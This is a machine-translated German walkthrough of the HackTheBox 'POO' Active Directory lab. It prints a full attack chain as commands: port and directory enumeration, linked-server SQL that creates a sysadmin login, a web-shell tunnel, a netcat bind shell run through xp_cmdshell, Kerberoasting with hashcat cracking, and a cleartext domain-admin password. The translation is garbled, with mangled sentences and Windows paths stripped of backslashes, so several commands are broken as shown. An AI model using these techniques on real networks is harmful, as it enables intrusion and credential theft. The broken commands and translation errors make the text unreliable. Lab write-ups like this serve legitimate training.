HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

In diesem Artikel analysieren wir den Weggang nicht nur einer Maschine, sondern eines ganzen Minilabors vom Standort HackTheBox.

Wie in der Beschreibung angegeben, ist POO darauf ausgelegt, Fähigkeiten in allen Phasen von Angriffen in einer kleinen Active Directory-Umgebung zu testen. Das Ziel besteht darin, einen verfügbaren Host zu gefährden, die Berechtigungen zu erweitern und schließlich die gesamte Domäne zu gefährden, indem dabei fünf Flags gesammelt werden.

Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem funktionierenden Computer oder von einem Host aus herzustellen, auf dem sich wichtige Daten für Sie befinden, da Sie sonst in ein privates Netzwerk mit Personen gelangen, die sich mit Informationssicherheit auskennen 🙂

organisatorische Informationen
Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich erstellt Kanal in Telegram и Gruppe, um etwaige Probleme zu besprechen im Bereich IIKB. Auch Ihre persönlichen Wünsche, Fragen, Anregungen und Empfehlungen Ich werde einen Blick darauf werfen und allen antworten..

Alle Informationen dienen ausschließlich Bildungszwecken. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die irgendjemandem durch die Verwendung der durch das Studium dieses Dokuments erworbenen Kenntnisse und Methoden entstehen.

Einleitung / Intro

Dieses Endspiel besteht aus zwei Maschinen und enthält 5 Flaggen.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Außerdem wird die Beschreibung und Adresse des verfügbaren Hosts angegeben.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Fangen wir an!

Aufklärungsflagge

Diese Maschine hat die IP-Adresse 10.13.38.11, die ich zu /etc/hosts hinzufüge.
10.13.38.11 poo.htb

Der erste Schritt besteht darin, offene Ports zu scannen. Da es lange dauert, alle Ports mit nmap zu scannen, werde ich es zuerst mit masscan machen. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit 500pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Um nun detailliertere Informationen zu den Diensten zu erhalten, die auf den Ports ausgeführt werden, führen wir einen Scan mit der Option -A durch.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Daher verfügen wir über IIS- und MSSQL-Dienste. In diesem Fall erfahren wir den tatsächlichen DNS-Namen der Domäne und des Computers. Auf dem Webserver werden wir von der IIS-Homepage begrüßt.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Lassen Sie uns die Verzeichnisse durchlaufen. Ich verwende dafür Gobuster. In den Parametern geben wir die Anzahl der Streams 128 (-t), URL (-u), Wörterbuch (-w) und Erweiterungen an, die uns interessieren (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Somit steht uns eine HTTP-Authentifizierung für das Verzeichnis /admin sowie die Desktop-Service-Speicherdatei .DS_Store zur Verfügung. .DS_Store sind Dateien, die Benutzereinstellungen für einen Ordner speichern, z. B. eine Liste von Dateien, den Speicherort des Symbols und das ausgewählte Hintergrundbild. Eine solche Datei kann im Webserververzeichnis von Webentwicklern landen. Dadurch erhalten wir Informationen über den Inhalt des Verzeichnisses. Hierfür können Sie verwenden DS_Store-Crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Wir erhalten den Inhalt des Verzeichnisses. Das Interessanteste hier ist das /dev-Verzeichnis, von dem aus wir die Quellen und DB-Dateien in zwei Zweigen sehen können. Wir können jedoch die ersten 6 Zeichen von Datei- und Verzeichnisnamen verwenden, wenn der Dienst für IIS ShortName anfällig ist. Sie können diese Schwachstelle mithilfe von überprüfen IIS-Kurznamen-Scanner.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Und wir finden eine Textdatei, die mit „poo_co“ beginnt. Da ich nicht wusste, was ich als nächstes tun sollte, wählte ich einfach alle Wörter aus dem Verzeichnisverzeichnis aus, die mit „co“ beginnen.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Und iterieren Sie noch einmal mit wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Und finde das richtige Wort! Wir schauen uns diese Datei an und speichern die Anmeldeinformationen (dem DBNAME-Parameter nach zu urteilen, stammen sie von MSSQL).

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Wir übergeben die Flagge und rücken um 20 % vor.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Huh Flagge

Wir stellen eine Verbindung zu MSSQL her, ich verwende DBeaver.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Da wir in dieser Datenbank nichts Interessantes finden, erstellen wir einen SQL-Editor und prüfen die Benutzer.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Wir haben zwei Benutzer. Schauen wir uns unsere Privilegien an.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Es gibt also keine Privilegien. Schauen wir uns die Verbindungsserver an. Ich habe ausführlich über diese Technik geschrieben hier.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Also finden wir einen anderen SQL Server. Lassen Sie uns die Ausführung von Befehlen auf diesem Server mit openquery() überprüfen.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Und wir können sogar einen Abfragebaum erstellen.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Tatsache ist, dass, wenn wir eine Anfrage an einen Verbindungsserver stellen, die Anfrage im Kontext eines anderen Benutzers ausgeführt wird! Sehen wir uns an, in welchem ​​Benutzerkontext wir auf dem Verbindungsserver ausgeführt werden.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Und nun wollen wir sehen, in welchem ​​Kontext die Anfrage vom Verbindungsserver an unseren ausgeführt wird!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Daher handelt es sich um einen DBO-Kontext, der über alle Berechtigungen verfügen muss. Lassen Sie uns die Berechtigungen im Falle einer Anfrage von einem Verbindungsserver überprüfen.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Wie Sie sehen, haben wir alle Privilegien! Lassen Sie uns unseren Admin so erstellen. Aber sie lassen sie nicht über openquery durch, sondern über EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Und jetzt verbinden wir uns mit den Anmeldeinformationen des neuen Benutzers und beobachten die neue Flag-Datenbank.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Wir übergeben diese Flagge und gehen weiter.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Backtrack-Flagge

Lassen Sie uns die Shell mit MSSQL abrufen. Ich verwende mssqlclient aus dem Impacket-Paket.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Wir müssen Passwörter besorgen, und das erste, was wir bereits kennengelernt haben, ist die Website. Daher benötigen wir eine Webserver-Konfiguration (es ist unmöglich, eine praktische Shell zu starten, anscheinend funktioniert die Firewall).

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Doch der Zugriff wird verweigert. Obwohl wir die Datei aus MSSQL lesen können, müssen wir nur wissen, welche Programmiersprachen konfiguriert sind. Und im MSSQL-Verzeichnis stellen wir fest, dass es Python gibt.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Dann ist es kein Problem, die Datei web.config zu lesen.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Nachdem Sie die Anmeldeinformationen gefunden haben, gehen Sie zu /admin und holen Sie sich die Flagge.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Standfahne

Tatsächlich bringt die Verwendung einer Firewall einige Unannehmlichkeiten mit sich, aber wenn wir uns die Netzwerkeinstellungen ansehen, stellen wir fest, dass auch das IPv6-Protokoll verwendet wird!

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Fügen Sie diese Adresse zu /etc/hosts hinzu.
dead:babe::1001 poo6.htb
Lassen Sie uns den Host erneut scannen, dieses Mal jedoch über IPv6.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Und der WinRM-Dienst ist über IPv6 verfügbar. Verbinden wir uns mit den gefundenen Anmeldeinformationen.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Auf dem Schreibtisch liegt eine Fahne, gib sie ab.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

P00ned-Flagge

Nach Aufklärung auf dem Host mit Winpeas Wir finden nichts Besonderes. Dann wurde beschlossen, erneut nach Referenzen zu suchen (ich habe auch zu diesem Thema geschrieben). Artikel). Ich konnte jedoch nicht alle SPNs über WinRM vom System abrufen.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Lassen Sie uns den Befehl über MSSQL ausführen.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Auf diese Weise erhalten wir den SPN der Benutzer p00_hr und p00_adm, was bedeutet, dass sie anfällig für einen Angriff wie Kerberoasting sind. Kurz gesagt, wir können die Hashes ihrer Passwörter erhalten.

Zuerst müssen Sie im Namen des MSSQL-Benutzers eine stabile Shell erhalten. Da wir jedoch nur eingeschränkten Zugriff haben, haben wir nur über die Ports 80 und 1433 eine Verbindung zum Host. Es ist jedoch möglich, den Datenverkehr über Port 80 zu tunneln! Dafür verwenden wir nächste Bewerbung. Laden wir die Datei tunnel.aspx in das Home-Verzeichnis des Webservers hoch – C: inetpubwwwroot.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Wenn wir jedoch versuchen, darauf zuzugreifen, erhalten wir den Fehler 404. Dies bedeutet, dass *.aspx-Dateien nicht ausgeführt werden. Um Dateien mit diesen Erweiterungen auszuführen, installieren Sie ASP.NET 4.5 wie folgt.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Und jetzt erhalten wir beim Zugriff auf tunnel.aspx die Antwort, dass alles startklar sei.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Starten wir den Client-Teil der Anwendung, der den Datenverkehr weiterleitet. Wir leiten den gesamten Datenverkehr von Port 5432 an den Server weiter.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Und wir verwenden Proxychains, um den Datenverkehr jeder Anwendung über unseren Proxy zu senden. Fügen wir diesen Proxy zur Konfigurationsdatei /etc/proxychains.conf hinzu.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Nun laden wir das Programm auf den Server hoch Netcat, mit dem wir eine stabile Bind-Shell und das Skript erstellen werden Rufen Sie Kerberoast auf, mit dem wir den Kerberoasting-Angriff durchführen werden.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Jetzt starten wir über MSSQL den Listener.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Und wir verbinden uns über unseren Proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Und holen wir uns die Hashes.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Als Nächstes müssen Sie diese Hashes durchlaufen. Da rockyou kein Passwort-Datenwörterbuch hatte, habe ich ALLE in Seclists bereitgestellten Passwort-Wörterbücher verwendet. Zur Aufzählung verwenden wir Hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Und wir finden beide Passwörter, das erste im Wörterbuch dutch_passwordlist.txt und das zweite in Keyboard-Combinations.txt.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Und da wir drei Benutzer haben, gehen wir zum Domänencontroller. Lassen Sie uns zuerst seine Adresse herausfinden.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Super, wir haben die IP-Adresse des Domänencontrollers erfahren. Lassen Sie uns alle Benutzer der Domäne herausfinden und herausfinden, wer von ihnen Administrator ist. Um das Skript herunterzuladen, um Informationen zu erhalten, PowerView.ps1. Dann verbinden wir uns mit evil-winrm und geben im Parameter -s das Verzeichnis mit dem Skript an. Und dann laden Sie einfach das PowerView-Skript.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Jetzt haben wir Zugriff auf alle seine Funktionen. Der Benutzer p00_adm sieht aus wie ein privilegierter Benutzer, daher werden wir in seinem Kontext arbeiten. Erstellen wir ein PSCredential-Objekt für diesen Benutzer.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Jetzt werden alle Powershell-Befehle, bei denen wir Creds angeben, im Namen von p00_adm ausgeführt. Lassen Sie uns eine Liste der Benutzer und das AdminCount-Attribut anzeigen.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Und so ist unser Benutzer wirklich privilegiert. Mal sehen, zu welchen Gruppen er gehört.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Wir bestätigen abschließend, dass der Benutzer ein Domänenadministrator ist. Dadurch erhält er das Recht, sich remote am Domänencontroller anzumelden. Versuchen wir, uns über unseren Tunnel mit WinRM anzumelden. Ich war verwirrt über die von reGeorg ausgegebenen Fehler bei der Verwendung von evil-winrm.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Dann verwenden wir ein anderes, einfacheres, Skript um eine Verbindung zu WinRM herzustellen. Verbindungsparameter öffnen und ändern.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Wir versuchen, eine Verbindung herzustellen, und wir sind im System.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Aber es gibt keine Flagge. Schauen Sie sich dann den Benutzer an und überprüfen Sie die Desktops.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Bei mr3ks finden wir die Flagge und das Labor ist zu 100 % fertiggestellt.

HackTheBoxendgame. Durchgang des Labors für professionelle Offensivoperationen. Pentest Active Directory

Das ist alles. Kommentieren Sie als Feedback, ob Sie aus diesem Artikel etwas Neues gelernt haben und ob er für Sie nützlich war.

Sie können sich uns anschließen unter Telegram. Dort finden Sie interessante Materialien, zusammengeführte Kurse sowie Software. Lassen Sie uns eine Community zusammenstellen, in der es Menschen gibt, die sich in vielen Bereichen der IT auskennen. Dann können wir uns bei allen IT- und Informationssicherheitsproblemen gegenseitig helfen.

Source: habr.com

Kommentar hinzufügen